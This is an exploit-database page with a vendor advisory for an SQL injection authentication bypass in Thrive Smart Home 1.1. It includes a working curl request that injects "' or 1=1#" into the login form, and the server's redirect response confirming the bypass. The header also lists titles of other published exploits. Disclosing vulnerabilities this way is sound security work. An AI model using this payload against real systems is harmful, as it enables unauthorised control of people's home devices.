cd36764b57
28 changes to exploits/shellcodes OpenBSD - Dynamic Loader chpass Privilege Escalation (Metasploit) Reptile Rootkit - reptile_cmd Privilege Escalation (Metasploit) Microsoft UPnP - Local Privilege Elevation (Metasploit) AVS Audio Converter 9.1.2.600 - Stack Overflow (PoC) FTP Navigator 8.03 - Stack Overflow (SEH) Wing FTP Server 6.0.7 - Unquoted Service Path Domain Quester Pro 6.02 - Stack Overflow (SEH) FreeBSD-SA-19:02.fd - Privilege Escalation FreeBSD-SA-19:15.mqueuefs - Privilege Escalation HomeAutomation 3.3.2 - Persistent Cross-Site Scripting HomeAutomation 3.3.2 - Authentication Bypass HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin) HomeAutomation 3.3.2 - Remote Code Execution elearning-script 1.0 - Authentication Bypass XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin) Thrive Smart Home 1.1 - Authentication Bypass XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin) XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin) WEMS BEMS 21.3.1 - Undocumented Backdoor Account AVE DOMINAplus 1.10.x - Credential Disclosure AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm) AVE DOMINAplus 1.10.x - Authentication Bypass Heatmiser Netmonitor 3.03 - Hardcoded Credentials MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure RICOH SP 4510SF Printer - HTML Injection RICOH Web Image Monitor 1.09 - HTML Injection Heatmiser Netmonitor 3.03 - HTML Injection
66 lines
No EOL
2.5 KiB
Text
66 lines
No EOL
2.5 KiB
Text
# Exploit: Thrive Smart Home 1.1 - Authentication Bypass
|
|
# Date: 2019-12-30
|
|
# Author: LiquidWorm
|
|
# Vendor: Thrive
|
|
# Product web page: http://www.thrivesmarthomes.com
|
|
# Affected version: 1.1
|
|
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
|
|
# Advisory ID: ZSL-2019-5554
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php
|
|
|
|
|
|
Thrive Smart Home v1.1 SQL Injection Authentication Bypass
|
|
|
|
|
|
Vendor: Thrive
|
|
Product web page: http://www.thrivesmarthomes.com
|
|
Affected version: 1.1
|
|
|
|
Summary: As smart home technology becomes more affordable and easy to
|
|
install with services offered by Thrive Smart Homes, there are some
|
|
great options available to give your home a high-tech makeover. If the
|
|
convenience of feeding your cat or turning on your air conditioning with
|
|
a tap on your smartphone isn't enough of a reason to make the investment,
|
|
consider how conveniently you can protect your home and belongings. From
|
|
Wi-Fi-equipped smoke detectors to plugs with auto turn-offs, smart homes
|
|
with their always-on connectivity and notifications systems allow consumers
|
|
to quickly respond to the unexpected. For instance, if you install a smart
|
|
water leak and moisture monitoring device, you can set up alerts on your
|
|
phone for unusual changes in moisture and stop leaks before they cause major
|
|
flooding or mold. It's a convenient way to proactively protect your home
|
|
from costly damage, whether it's an overflowing laundry tub, a cracked
|
|
washer hose, or a leaky water heater.
|
|
|
|
Desc: The application suffers from an SQL Injection vulnerability. Input
|
|
passed through 'user' POST parameter in checklogin.php is not properly
|
|
sanitised before being returned to the user or used in SQL queries. This
|
|
can be exploited to manipulate SQL queries by injecting arbitrary SQL
|
|
code and bypass the authentication mechanism.
|
|
|
|
Tested on: Apache httpd 2.4.25 (Raspbian)
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2019-5554
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php
|
|
|
|
|
|
21.10.2019
|
|
|
|
--
|
|
|
|
|
|
$ curl http://192.168.1.1:8080/raspberry/include/checklogin.php -X POST -d"submit=LOGIN&user=' or 1=1#&pass=pass" -i
|
|
HTTP/1.1 302 Found
|
|
Date: Mon, 21 Oct 2019 23:35:18 GMT
|
|
Server: Apache/2.4.25 (Raspbian)
|
|
Set-Cookie: PHPSESSID=6cu3frj0qes9c96v5de5vp37e2; path=/
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
location: ../home.php
|
|
Content-Length: 1
|
|
Content-Type: text/html; charset=UTF-8 |